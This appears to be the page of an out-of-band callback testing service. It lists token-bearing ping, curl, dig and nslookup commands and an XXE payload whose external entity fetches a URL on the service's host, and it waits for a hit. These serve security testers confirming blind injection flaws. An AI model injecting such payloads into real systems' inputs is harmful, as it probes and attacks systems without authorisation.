$ ping -c1 -p 00f371b8dc401e09a9c2a3a366dc3100 unhack.ca
 
$ curl http://unhack.ca/p/f371b8dc401e09a9c2a3a366dc31
 
$ dig f371b8dc401e09a9c2a3a366dc31 @unhack.ca
 
$ dig f371b8dc401e09a9c2a3a366dc31.ns.unhack.ca
 
C:\> nslookup f371b8dc401e09a9c2a3a366dc31 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f371b8dc401e09a9c2a3a366dc31">]>
    <foo>&xxe;</foo>
 
Waiting for ping...